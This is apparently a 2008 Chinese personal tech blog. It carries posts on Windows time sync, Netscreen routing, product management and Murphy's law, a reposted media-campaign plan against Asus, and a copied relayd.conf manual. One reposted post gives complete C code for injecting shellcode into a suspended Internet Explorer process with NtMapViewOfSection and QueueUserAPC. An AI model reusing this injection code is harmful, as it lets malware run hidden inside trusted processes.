爱看电影,爱做梦

2008年12月20日

windows系统时间同步

类归于: 技术文档 — kermit @ 19:15
怕忘记了 记录下先.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient分支,在右边找到SpecialInterval项双击就可以修改该项的数值了,这就是同步时间间隔的数值,以秒为单位,点十进制就可以修改您想要的数值了!2008-12-20
C:\>w32tm.exe
w32tm [/? | /register | /unregister ]
? – 此帮助屏幕。
register – 注册为作为服务运行并且添加默认
配置到注册表。
unregister – 解除服务注册并删除所有配置
来自注册表的信息。
w32tm /monitor [/domain:<domain name>]
[/computers:<name>[,<name>[,<name>...]]]
[/threads:<num>]
domain – 指定要监视的域。如果没有指定
域名,或者没有指定域或者计算机
选项,将使用默认域。此选项
可以多次使用。
computers – 监视给定的计算机列表。计算机
名称由逗号分隔,没有空格。如果名称
有前缀 ‘*’,它将被视为一个 PDC。此选项
可以多次使用。
threads – 同时分析的计算机数量。默认
值为 3。允许的范围是 1-50。
w32tm /ntte <NT time epoch>
转换一个 NT 系统时间,以 (10^-7)s 间隔从 0h 1-Jan 1601,
到一个可读的格式。
w32tm /ntpte <NTP time epoch>
转换一个 NTP 时间,以 (2^-32)s 间隔从 0h 1-Jan 1900,到
一个可读的格式。
w32tm /resync [/computer:<computer>] [/nowait] [/rediscover] [/soft]
告诉计算机它应该尽快同步它的时钟,
丢弃所有积累的错误统计。
computer:<computer> – 需要重新同步的计算机。如果没有
指定,将重新同步本地计算机。
nowait – 不等待重新同步发生;
立即返回。否则,在返回前等待重新同步
执行完毕。
rediscover – 重新检测网络配置并重新发现
网络资源,然后重新同步。
soft – 利用现有错误统计重新同步。没有什么用处,
为兼容性而提供。
w32tm /stripchart /computer:<target> [/period:<refresh>]
[/dataonly] [/samples:<count>]
显示此计算机和另一计算机之间的偏移量
的条带图。
computer:<target> – 要测量偏移量的计算机。
period:<refresh> – 在示例之间的时间间隔,以秒为单位。
默认为 2 秒
dataonly – 只显示数据,没有图表。
samples:<count> – 收集 <count> 示例,然后停止。如果没有
指定,将一直收集示例,直到按下 Ctrl-C。
w32tm /config [/computer:<target>] [/update]
[/manualpeerlist:<peers>] [/syncfromflags:<source>]
[/LocalClockDispersion:<seconds>]
computer:<target> – 调整 <target> 的配置。如果没有
指定,默认为本地计算机。
update – 通知时间服务配置被
更改,使更改生效。
manualpeerlist:<peers> – 设置手动对等列表为 <peers>,
which is a space-delimited list of DNS and/or IP addresses.
指定多对等端时,该开关必须用引号
括起来。
syncfromflags:<source> – 设置 NTP 客户要同步自
的源。<source> 应该是一个这些关键字的以
逗号分隔的列表(不区分大小写):
MANUAL – 从手动对等端列表包括对等端
DOMHIER – 从域层次的一个 DC 同步
w32tm /tz
显示当前时区设置。
w32tm /dumpreg [/subkey:<key>] [/computer:<target>]
显示与给定注册键相关的值。
默认键为 HKLM\System\CurrentControlSet\Services\W32Time
(时间服务的根键)。
subkey:<key> – 显示与默认键的子键 <key> 相关的值。
computer:<target> – 查询计算机 <target> 的注册表设置

2008年12月6日

远程代码注入新技术(ZZ)

类归于: 源代码 — kermit @ 11:04
朋友yole分享过来的!!
研究出了一种新的在远程进程中执行代码的可能性,就是利用一个未公开函数在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完 全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求。让源码说明一切:(我为我的英文水平感到抱歉,我来自德国)
CODE:
#define _WIN32_WINNT 0×0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;
LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// 转换偏移量

SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址

ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性

if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段

Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// 失败

return NULL;
}

//返回起始地址

return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( “ntdll.dll” );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, “NtMapViewOfSection”);

// 取ShellCode,任何你想实现的

HANDLE hFile = CreateFile (“C:\shellcode.txt”, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程

STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess (“C:\Programme\Internet Explorer\iexplore.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);
// 注入shellcode到目标进程地址空间

LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC

QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

2008年11月27日

关于产品人才

类归于: 百家争鸣 — kermit @ 19:58

尤其在产品把握上,怎么保证一个产品做得好,能够传播出去,公司的项目太多 ,面临的最大挑战就是人才奇缺,这让人很头痛,公司一直很缺产品人才。
但产品人才一直是最不当作人才的,因为很不容易界定和评估.

什么是产品人才?产品人才不如技术人才,有没有水平试一下就知道.好的产品人员比钻石还难找,现在,现在号称自己是产品人员的,多数是猪头.

所谓产品人才
1.知道用户是谁
2.知道用户要什么.
3.知道用户怎么使用
产品人才又要分两种 1是强策划 2是强执行
产品应该是三个层面
策划
执行
运营
其中运营和策划非常紧密,运营可以认为是产品上线后的策划.
企业初期执行困难不多,所以产品人才偏重策划力.有思想的就可以了,但是企业规模大了执行就成为瓶颈,这时候,产品人才选择目标就偏向执行面.但是这时候就出现问题了策划能力强而执行能力弱的出头机会被压制了.
(反例)
雅虎让产品(后来是运营)人员非常强势,地位不可谓不低,强调“党(产品)指挥枪(技术)”,结果猪头的党指挥着一堆的枪乱放了一年,最后fire了几个党魁了事.

不单纯是地位高低的问题是,1、公司的决策层对产品、技术、运营平衡尺度的把握;2、遴选产品人员的能力;由于企业领导人个人背景原因,经常容易出现厚此薄彼的问题.

2008年11月7日

netscreen的Source Routing,PBR,MIP

类归于: 技术文档 — kermit @ 14:37
实现: 192.168.2.1和 192.168.2.2 访问公网通过untrust eth2,
192.168.2.1和 192.168.2.2 访问eth3的mip通过eth3的接口地址
其它内网IP地址访问公网通过untrust eth3
192.168.3.0/24 ping外网通过eth2
说明: 没有设置ECMP来做链路负载.这不是本文的重点.

set interface ethernet2 ip 1.1.1.1/30
set interface ethernet2 route
set interface ethernet3 ip 2.2.2.1/24
set interface ethernet3 route
set interface ethernet4 ip 192.168.0.1/16
set interface ethernet4 nat
set interface “ethernet3″ mip?2.2.2.100 host 192.168.1.100 netmask 255.255.255.255 vr “trust-vr”

set vrouter “trust-vr”
set source-routing enable
unset add-default-route
set route 0.0.0.0/0 interface ethernet3 gateway?2.2.2.254 preference 20
set route 0.0.0.0/0 interface ethernet2 gateway?1.1.1.2? ?preference 20 metric 20
set route source 192.168.2.1/32 interface ethernet2 gateway 1.1.1.2 preference 20
set route source 192.168.2.2/32 interface ethernet2 gateway 1.1.1.2 preference 20
set access-list extended 1 src-ip 192.168.2.1/32 dst-ip 2.2.2.1/24 entry 1
set access-list extended 1 src-ip 192.168.2.2/32 dst-ip 2.2.2.1/24 entry 2
set access-list extended?2 src-ip 192.168.3.0/24 dst-ip 0.0.0.0/0 protocol icmp?entry 2

set match-group name MIP
set match-group MIP ext-acl 1 match-entry 1
set match-group name icmp
set match-group icmp ext-acl 2 match-entry 1

set action-group name UU
set action-group UU next-interface ethernet3 next-hop 2.2.2.1 action-entry 1
set action-group name icmp
set action-group icmp next-interface ethernet2 next-hop?1.1.1.2 action-entry 1

set pbr policy name UUMIP
set pbr policy UUMIP match-group MIP action-group?UU 1
set pbr policy UUMIP match-group icmp action-group icmp 2
exit
set interface ethernet4 pbr UUMIP

2008年11月6日

墨菲法则的扩展

类归于: 生活 — kermit @ 22:51

“墨菲法则”、“派金森定理”和“彼德原理”并称为二十世纪西方文化中最杰出的三大发现。它源于1949年,一名叫墨菲的美国空军上尉工程师发现:假定你把一片干面包掉在地毯上,这片面包的两面均可能着地。但假定你把一片一面涂有一层果酱的面包掉在地毯上,常常是带有果酱的一面落在地毯上(麻烦)。换一种说法:如果坏事有可能发生,不管这种可能性有多小,它总会发生,并造成最大可能的破坏。

墨菲法则在信息安全中的应用 墨菲法则在工程界广为流传:任何可能变坏的事情,都会变坏。这个法则也叫草皮法则或者哄骗法则。更有趣的是,还有人归纳出奥图尔推论:墨菲是一个乐天派。   墨菲法则也适合信息安全领域,围绕一个组织的信息安全问题存在着各种随机因素,涉及人员多、环节多,人员的技术水平和安全意识不同。如果没有明确和统一的管理规定约束他们,就难免会出现墨菲法则所描述的现象

菲法则在股市中的应用
  你怕跌,它偏偏跌给你看;你盼涨,它偏不涨;你忍不住卖了,它也开始涨了;你看好五只股,买进其中的一只,结果除了你手中的那只股外,其它四只涨得都很好。
  经验是:同时看好的几只股中,买那只最没把握的。或这几只股在你心目中排名最后的那一个,可能效果最好。

墨菲法则的另类表述
1、如果第一次便成功,显然你已经做错某事。
2、如果某事不值得去做,则不值得把它做好。
3、绝不记住忘掉的事。
4、当一切都朝一个方向进行时,最好朝反方向深深的看一眼。
5、今天是你前半生的末日。
6、寻求单纯—-然后不信。
7、教育无法取代才智。
8、要是知道自己所值几何,你就会变成一文不值。
9、寂寞是你赶不走的东西。
10、自动消失的问题会自动回来。

2008年11月3日

打击华硕事件第一期媒体推广计划(zz)

类归于: IT新闻评论 — kermit @ 21:42

打击华硕事件第一期媒体推广计划
  (10月份工作规划)
  
  一、 国内部分(10月25日前完成)
  1、 搜集国内大约1400家报纸和期刊的联系方式,整理成为EXCEL文档,应当包含电话、网址、邮箱、传真。
  2、 整理一百五十个国内电视台相关栏目联系方式,主要是法制类和消费维权以及新闻类的栏目,应当包含电话、网址、邮箱、传真以及联络人;
  3、 媒体版事件简介以及新闻文稿,并确定首批可提供媒体发布内容;
  4、 准备联系全部以上媒体,电话联系后发传真或者邮件,确定相关联系人并保持联络;
  5、 给以上联络过的媒体发出光盘资料。
  6、 根据反馈情况确定新闻发布会时间,新闻发布会具体细节待定。
  7、 程涛隆、刘燕玲负责与龙拓智胜公司项目组共同推进执行
  
  二、 国际部分(10月30日前完成)
  1、 确定翻译公司及人选,英文、法文、德文、意大利文、俄文、日文、韩文等,在华硕有分支机构的国家至少准备一种文字跟进
  2、 搜集具备国际影响力的报纸、期刊、杂志、电视台二百家左右,其中主要以欧洲、北美、曰本、香港、台湾为主,确保联络华硕有分支机构的国家至少有五十家以上国家级媒体,落实联络方式,包括电话、网址、邮件、联系人
  3、 拜访俄罗斯、德国、法国、意大利等消费维权机构、人权组织,获得支持和援助。
  4、 华硕事件简介、国际求援信,争取全球援助以及对华硕的抵制,以上文件需翻译为相应文字,并向以上联络媒体通过UPS发出光盘资料。
  5、 多语种联络人名单确定,设定该事件问题解答目录。
  6、 邓斓、李惠梅、张怡负责与ACER公司David Drummond联络共同推进执行。
  
  三、 网络部分(10月30日前完成)
  1、 确定至少五十名专职网络推手,圈定国内十万个论坛和社区
  2、 建立华硕事件维权网站和博客
  3、 准备网上求援信,向所有的网友求援,获得同情与支持
  4、 搜集至少3000个著名博客博主,向他们发出求援信,以及华硕事件介绍,获得舆论支持
  5、 新闻类网站专题素材准备完毕,通过邮件群发、EMS快递光盘资料,所有内容附带网站地址将流量导向华硕维权主站
  6、 增加至少两支专业网络推广团队,保证开打之后一周内密集宣传。
  7、 薛宁负责协调浩维互动、如来网络推进执行
  
  四、 其他资源运用(10月25日前完成)
  1、 联系各厂商,包括华硕各产品线的竞争对手,包括AMD,向他们求援,获得支持;
  2、 联系各200家消费维权组织以及网站还有消协,争取最大限度的帮助
  3、 各大学法律专业教授、专家联络,各著名律师事务所、律师联络,寻求支持
  4、 陈驰、高勇、刘佳协调义方、大成、大禹律师事务所推进执行
  
  五、 筹备(10月15日前完成)
  1、 落实所有人员,包括翻译、网络推手、联络人等;
  2、 招聘专职工作人员5名,网站编辑、技术、美工各2名,电话联络专员3名,网络推手(兼职40名),翻译(兼职8名,专职英文翻译2名)
  3、 注册专用网址(域名5个)、落实服务器(100M独立带宽电信、网通双线机房,双机热备份服务器2台)、注册专用博客(十个)、邮箱、开通专用电话线路(固定电话中继线6线),传真等;
  4、 办公场地搬迁,办公环境约300-400平米左右,交通方便,写字楼或者商住皆可。

2008年11月1日

开公司,取什么名字好呢?

类归于: IT新闻 — kermit @ 21:08
问:由于业务需要,要在国内注册一个信息安全公司。不知道取什么名字好,大家能不能給点意见。 公司主要业务4A系统,安全网关以及安全规划,安全咨询。
回复: 信则灵
回复: 网坚强
本文纯属娱乐帖子,请勿太投入。

2008年09月27日

最近看到了juniper IDP200 有些失望.

类归于: 防火墙相关 — kermit @ 09:39
1.连接上串口,居然发现提示的是linux 脚本;
2.配置后 居然可以看到 apache重启的脚本的提示.
3.前面的串口接口居然和其它通用设备的接口不一样..
4.还需要个redhat 4 的linux服务器存放日志,要用windows机器来做查看的客户端。前者居然要1G的内存
5.比较怀疑它网卡的抓包能力,推测没用到zero copy技术.另:它还是x86架构.
6.存放日志的服务器上提供配置界面,松松垮垮的界面 。晕啊。
….

2008年09月26日

如何做一个好的产品–Building your 口碑&品牌?(zz)

类归于: 百家争鸣 — kermit @ 13:51
转载于http://hi.baidu.com/eanalysis/blog/item/e54b9f0f6f6a25e8aa64571f.html
如何做一个好的产品–Building your 口碑&品牌?
2008-07-03 11:32
两则好故事,感谢冥冥中上天的安排,让我看到这么多值得学习的东西。
故事1:屈臣氏蒸馏水故事–品牌是怎么做出来的?
Coolc最近喝屈臣氏蒸馏水的时候,突然想到,这种水那么贵是否会有假冒呢?我应该怎么识别呢?就到屈臣氏蒸馏水的香港发了一封Mail。周日发的Mail,然后……
1、周一上午九点,收到深圳分部的电话,告知我熟悉相关知识的同事暂时不在,她们的总监正在外出差,她也知道了这件事,稍后她回来也会给我电话进行解释。同时把深圳地区的电话给我,告诉我如果不放心,也可以在他们这边订,同时问了我的住址提供了临近代理水站的电话
2、下午3点,屈臣氏给我电话,详细讲解了他们的防伪措施,和识别方法。告诉我目前深圳还没有发现假水,我提了几个建议,他们表示一定会反馈给总部,并且跟我讲了一下他们和这些问题相关的工作改善计划和安排。最后,代表他们总监感谢我对于他们产品的支持
3、我在mail里收到了他们的正式Mail,有详尽的解释,和他们的处理过程。
4、这件事一直有一位先生帮我处理,直至把我所问的问题,完全处理完毕。
很感谢他们,我学习到了远远不止是如何识别蒸馏水。
?
故事2:为什么买香草冰淇淋汽车就会秀逗的故事?
有一天美国通用汽车公司的庞帝雅克(Pontiac)部门收到一封客户抱怨信,上面是这样写的:这是我为了同一件事第二次写信给你,我不会怪你们为什么没有回信给我,因为我也觉得这样别人会认为我疯了,但这的确是一个事实。
我们家有一个传统的习惯,就是我们每天在吃完晚餐后,都会以冰淇淋来当我们的饭后甜点。由于冰淇淋的口味很多,所以我们家每天在饭后才投票决定要吃哪一种口味,等大家决定后我就会开车去买。但自从最近我买了一部新的庞帝雅克后,在我去买冰淇淋的这段路程问题就发生了。
你知道吗?每当我买的冰淇淋是香草口味时,我从店理出来车子就发不动。但如果我买的是其它的口味,车子发动就顺得很。我要让你知道,我对这件事情是非常认真的,尽管这个问题听起来很猪头。为什么这部庞帝雅克当我买了香草冰淇淋它就秀逗,而我不管什么时候买其它口味的冰淇淋,它就一尾活龙?为什么?为什么?
事实上庞帝雅克的总经理对这封信还真的心存怀疑,但他还是派了一位工程师去查看究竟。当工程师去找这位仁兄时,很惊讶的发现这封信是出之于一位事业成功、乐观、且受了高等教育的人。工程师安排与这位仁兄的见面时间刚好是在用完晚餐的时间,两人于是一个箭步跃上车,往冰淇淋店开去。那个晚上投票结果是香草口味,当买好香草冰淇淋回到车上后,车子又秀逗了。这位工程师之后又依约来了三个晚上。第一晚,巧克力冰淇淋,车子没事。第二晚,草莓冰淇淋,车子也没事。第三晚,香草冰淇淋,车子“秀逗”。
这位思考有逻辑的工程师,到目前还是死不相信这位仁兄的车子对香草过敏。因此,他仍然不放弃继续安排相同的行程,希望能够将这个问题解决。工程师开始记下从开始到现在所发生的种种详细资料,如时间、车子使用油的种类、车子开出及开回的时间…,根据资料显示他有了一个结论,这位仁兄买香草冰淇淋所花的时间比其它口味的要少。
为什么呢?原因是出在这家冰淇淋店的内部设置的问题。因为,香草冰淇淋是所有冰淇淋口味中最畅销的口味,店家为了让顾客每次都能很快的取拿,将香草口味特别分开陈列在单独的冰柜,并将冰柜放置在店的前端;至于其它口味则放置在距离收银台较远的后端。
现在,工程师所要知道的疑问是,为什么这部车会因为从熄火到重新激活的时间较短时就会秀逗?原因很清楚,绝对不是因为香草冰淇淋的关系,工程师很快地由心中浮现出,答案应该是“ 蒸气锁”。因为当这位仁兄买其它口味时,由于时间较久,引擎有足够的时间散热,重新发动时就没有太大的问题。但是买香草口味时,由于花的时间较短,引擎太热以至于还无法让“ 蒸气锁 ”有足够的散热时间。
碰到问题时不要直接就反应说那是不可能的(IMPOSSIBLE),相信用户,并投入一些真诚的努力。    
另外要记住的是,会投诉的用户才是最忠实的愿意帮助我们并希望我们更好的用户!

2008年06月25日

RELAYD.CONF

类归于: Linux/bsd — kermit @ 12:50
RELAYD.CONF(5) OpenBSD Programmer’s ManualRELAYD.CONF(5)
NAME
relayd.conf – relay daemon configuration file
DESCRIPTION
relayd.conf is the configuration file for the relay daemon, relayd(8).
SECTIONS
relayd.conf is divided into six main sections:
? Macros
User-defined variables may be defined and used later, simplifying
the configuration file.
? Global Configuration
Global settings for relayd(8).
? Tables
Table definitions describe a list of hosts, in a similar fashion to
pf(4) tables.? They are used for relay and redirection target se-
lection with the described options and health checking on the host
they contain.
? Redirections
Redirections are translated to pf(4) rdr rules for stateful for-
warding to a target host from a health-checked table on layer 3.
? Relays
Relays allow application layer load balancing, SSL acceleration,
and general purpose TCP proxying on layer 7.
? Protocols
Protocols are predefined protocol handlers and settings for relays.
? Within the sections, a host address can be specified by IPv4 address,
IPv6 address, or DNS hostname.? A port can be specified by number or
name.? The port name to number mappings are found in the file
/etc/services; see services(5) for details.
? Comments can be put anywhere in the file using a hash mark (`#’), and ex-
tend to the end of the current line.
? Additional configuration files can be included with the include keyword,
for example:
include “/etc/relayd.conf.local”
MACROS
Macros can be defined that will later be expanded in context.? Macro
names must start with a letter, and may contain letters, digits, and un-
derscores.? Macro names may not be reserved words (for example, table,
relay, or timeout).? Macros are not expanded inside quotes.
? For example:
www1=”10.0.0.1″
www2=”10.0.0.2″
table <webhosts> {
$www1
$www2
}
GLOBAL CONFIGURATION
Here are the settings that can be set globally:
? demote group
Enable the global carp(4) demotion option, resetting the carp de-
motion counter for the specified interface group to zero on
startup and to 128 on shutdown of the daemon.? For more informa-
tion on interface groups, see the group keyword in ifconfig(8).
? interval number
Set the interval in seconds at which the hosts will be checked.
The default interval is 10 seconds.
? log (updates|all)
Log state notifications after completed host checks.? Either only
log the updates to new states or log all state notifications,
even if the state didn’t change.? The host state can be up (the
health check completed successfully), down (the host is down or
didn’t match the check criteria), or unknown (the host is dis-
abled or has not been checked yet).
? prefork number
When using relays, run the specified number of processes to han-
dle relayed connections.? This increases the performance and pre-
vents delays when connecting to a relay.? relayd(8) runs 5 relay
processes by default and every process will handle all configured
relays.
? send trap
Send an SNMP trap when the state of a host changes.? relayd(8)
will try to connect to snmpd(8) and request it send a trap to the
registered trap receivers; see snmpd.conf(5) for more information
about the configuration.
? timeout number
Set the global timeout in milliseconds for checks.? This can be
overriden by the timeout value in the table definitions.? The de-
fault interval is 200 milliseconds and it must not exceed the
global interval.? Please note that the default value is optimized
for checks within the same collision domain – use a higher time-
out, such as 1000 milliseconds, for checks of hosts in other sub-
nets.
TABLES
Tables are used to group a set of hosts as the target for redirections or
relays; they will be mapped to a pf(4) table for redirections.? Tables
may be defined with the following attribute:
? disable? Start the table disabled – no hosts will be checked in this
table.? The table can be later enabled through relayctl(8).
? Each table must contain at least one host; multiple hosts are separated
by newline, comma, or whitespace.?Host entries may be defined with the
following attribute:
? retry number
The optional retry option adds a tolerance for failed host checks;
the check will be retried for number more times before setting the
host state to down.? If this table is used by a relay, it will al-
so specify the number of retries for outgoing connection attempts.
? For example:
table <service> { 192.168.1.1, www.houquner.com, 192.168.2.3 }
table <backup> disable { 10.1.5.1 retry 2 }
redirect “www” {
listen on www.example.com port 80
forward to <service> check http “/” code 200
forward to <backup> check http “/” code 200
}
? Tables are used by forward to directives in redirections or relays with a
set of general options, health-checking rules, and timings; see the
REDIRECTIONS and RELAYS sections for more information about the forward
context.? Table specific configuration directives are described below.
Multiple options can be appended to forward to directives, separated by
whitespaces.
? The following options will configure the health-checking method for the
table, and is mandatory for redirections:
? check http path [host hostname] code number
For each host in the table, verify that retrieving the URL path
gives the HTTP return code number.? If hostname is specified, it
is used as the “Host:” header to query a specific hostname at
the target host.
? check https path [host hostname] code number
This has the same effect as above but wraps the HTTP request in
SSL.
? check http path [host hostname] digest string
For each host in the table, verify that retrieving the URL path
produces content whose message digest matches the defined string.
The algorithm used is determined by the string length of the
digest argument, either SHA1 (40 characters) or MD5 (32 charac-
ters).? If hostname is specified, it is used as the “Host:”
header to query a specific hostname at the target host.? The di-
gest does not take the HTTP headers into account.?To compute the
digest, use this simple command:
? $ ftp -o – http://host[:port]/path | sha1
This gives a digest that can be used as-is in a digest statement:
? a9993e36476816aba3e25717850c26c9cd0d89d
? check https path [host hostname] digest string
This has the same effect as above but wraps the HTTP request in
SSL.
? check icmp
Ping hosts in this table to determine whether they are up or not.
This method will automatically use ICMP or ICMPV6 depending on
the address family of each host.
? check script path
Execute an external program to check the host state.? The program
will be executed for each host by specifing the hostname on the
command line:
? /usr/local/bin/checkload.pl front-www1.private.example.com
relayd(8) expects a positive return value on success and zero on
failure.? Note that the script will be executed with the privi-
leges of the “_relayd” user and terminated after timeout mil-
liseconds.
? check send data expect pattern [ssl]
For each host in the table, a TCP connection is established on
the port specified, then data is sent.? Incoming data is then
read and is expected to match against pattern using shell glob-
bing rules.? If data is an empty string or nothing then nothing
is sent on the connection and data is immediately read.? This can
be useful with protocols that output a banner like SMTP, NNTP,
and FTP.? If the ssl keyword is present, the transaction will oc-
cur in an SSL tunnel.
? check ssl
Perform a complete SSL handshake with each host to check their
availability.
? check tcp
Use a simple TCP connect to check that hosts are up.
? The following general table options are available:
? demote group
Enable the per-table carp(4) demotion option.? This will incre-
ment the carp demotion counter for the specified interface group
if all hosts in the table are down.? For more information on in-
terface groups, see the group keyword in ifconfig(8).
? interval number
Override the global interval and specify one for this table.? It
must be a multiple of the global interval.
? timeout number
Set the timeout in milliseconds for each host that is checked us-
ing TCP as the transport.?This will override the global timeout,
which is 200 milliseconds by default.
? The following options will set the scheduling algoritm to select a host
from the specified table:
? mode hash
Balances the outgoing connections across the active hosts based
on the hashed name of the table.? Additional input can be fed in-
to the hash by looking at HTTP headers and GET variables; see the
PROTOCOLS section below.? This mode is only supported by relays.
? mode loadbalance
Balances the outgoing connections across the active hosts based
on the hashed name of the table, the source and destination ad-
dresses, and the corresponding ports.? This mode is only support-
ed by relays.
? mode roundrobin
Distributes the outgoing connections using a round-robin sched-
uler through all active hosts.? This is the default mode and will
be used if no option has been specified.? This mode is supported
by redirections and relays.
REDIRECTIONS
Redirections represent a pf(4) rdr rule.? They are used for stateful
redirections to the hosts in the specified tables.? pf(4) rewrites the
target IP addresses and ports of the incoming connections, operating on
layer 3.? The configuration directives that are valid in the redirect
context are described below:
? disable
The redirection is initially disabled.? It can be later enabled
through relayctl(8).
? forward to <table> [port number] options …
Specify the tables of target hosts to be used; see the TABLES
section above for information about table options.? If the port
option is not specified, the port from the listen on directive
will be used.? This directive can be specified twice – the second
entry will be used as the backup table if all hosts in the main
table are down.? At least one entry for the main table is manda-
tory.
? listen on address port port [interface name]
Specify an address and a port to listen on.? pf(4) will redirect
incoming connections for the specified target to the hosts in the
main or backup table.? The rdr rule can be optionally restricted
to a given interface name.
? sticky-address
This has the same effect as specifying sticky-address for an rdr
rule in pf.conf(5).? It will ensure that multiple connections
from the same source are mapped to the same redirection address.
? tag name
Automatically tag packets passing through the pf(4) rdr rule with
the name supplied.? This allows simpler filter rules.
RELAYS
Relays will forward traffic between a client and a target server.?In
contrast to redirections and IP forwarding in the network stack, a relay
will accept incoming connections from remote clients as a server, open an
outgoing connection to a target host, and forward any traffic between the
target host and the remote client, operating on layer 7.? A relay is also
called an application layer gateway or layer 7 proxy.
? The main purpose of a relay is to provide advanced load balancing func-
tionality based on specified protocol characteristics, such as HTTP head-
ers, to provide SSL acceleration and to allow basic handling of the un-
derlying application protocol.
? The relay configuration directives are described below:
? disable
Start the relay but immediately close any accepted connections.
? forward to address [port port] [retry number]
Specify the address and port of the target host to connect to.
If the port option is not specified, the port from the listen on
directive will be used.
The optional host retry option will be used as a tolerance for
failed host connections; the connection will be retried for
number more times.
? forward to <table> [port port] options …
Like the previous directive, but connect to a host from the spec-
ified table; see the TABLES section above for information about
table options.
? forward to nat lookup [retry number]
When redirecting connections with an rdr rule in pf.conf(5) to a
relay listening on localhost, this directive will look up the re-
al destination address of the intended target host, allowing the
relay to be run as a transparent proxy.? If an additional forward
to directive to a specified address or table is present, it will
be used as a backup if the NAT lookup failed.
? listen on address [port port] [ssl]
Specify the address and port for the relay to listen on.? The re-
lay will accept incoming connections to the specified address.
If the port option is not specified, the port from the listen on
directive will be used.
If the ssl keyword is present, the relay will accept connections
using the encrypted SSL protocol.?The relay will look up a pri-
vate key in /etc/ssl/private/address.key and a public certificate
in /etc/ssl/address.crt, where address is the specified IP ad-
dress of the relay to listen on.? See ssl(8) for details about
SSL server certificates.
? protocol name
Use the specified protocol definition for the relay.? The generic
TCP protocol options will be used by default; see the PROTOCOLS
section below.
? timeout seconds
Specify the timeout in seconds for accepted sessions.? The de-
fault timeout is 600 seconds (10 minutes).
PROTOCOLS
Protocols are templates defining actions and settings for relays.?They
allow setting generic TCP options, SSL settings, and actions specific to
the selected application layer protocol.
? The protocol directive is available for a number of different application
layer protocols.? There is no generic handler for UDP-based protocols be-
cause it is a stateless datagram-based protocol which has to look into
the application layer protocol to find any possible state information.
? dns protocol
(UDP) Domain Name System (DNS) protocol.? The requested IDs in
the DNS header will be used to match the state.? relayd(8) re-
places these IDs with random values to compensate for predictable
values generated by some hosts.
? http protocol
Handle the Hypertext Transfer Protocol (HTTP, or “HTTPS” if en-
capsulated in an SSL tunnel).
? [tcp] protocol
Generic handler for TCP-based protocols.? This is the default.
? The available configuration directives are described below:
? [direction] [type] action [marked id] [log]
Define an action for the selected entity.?The optional log key-
word will log the entity name and the value and the optional
marked keyword requires that the session has been marked with a
given identifier in order to execute the action.? The actions are
dependent on the underlying application protocol.
? [direction] may be one of:
? request
Handle the data stream from the client to the relay, like HTTP
requests.?This is the default if the direction directive is
omitted.
? response
Handle the data stream from the target host to the relay, like
HTTP server replies.
? [action] may be one of:
? cookie? Look up the entity as a value in the Cookie header when using the
http protocol.? This type is only available with the direction
request.
? header? Look up the entity in the application protocol headers, like HTTP
headers in http mode.
? path Look up the entity as a value in the URL path when using the http
protocol.?This type is only available with the direction
request.? The key will match the path of the requested URL with-
out the hostname and query and the value will match the complete
query, for example:
? request path filter “/index.html”
request path filter “foo=bar*” from “/cgi-bin/t.cgi”
? query Look up the entity as a query variable in the URL when using the
http protocol.? This type is only available with the direction
request, for example:
? # Will match /cgi-bin/example.pl?foo=bar&ok=yes
request query expect “bar” from “foo”
? url? Look up the entity as a URL suffix/prefix expression consisting
of a canonicalized hostname without port or suffix and a path
name or prefix when using the http protocol.? This type is only
available with the direction request, for example:
? request url filter “example.com/index.html”
request url filter “example.com/test.cgi?val=1″
relayd(8) will match the full URL and different possible suf-
fix/prefix combinations by stripping subdomains and path compo-
nents (up to 5 levels), and the query string.? For example, the
following lookups will be done for
http://www.example.com:81/1/2/3/4/5.html?query=yes:
? www.example.com/1/2/3/4/5.html?query=yes
www.example.com/1/2/3/4/5.html
www.example.com/
www.example.com/1/
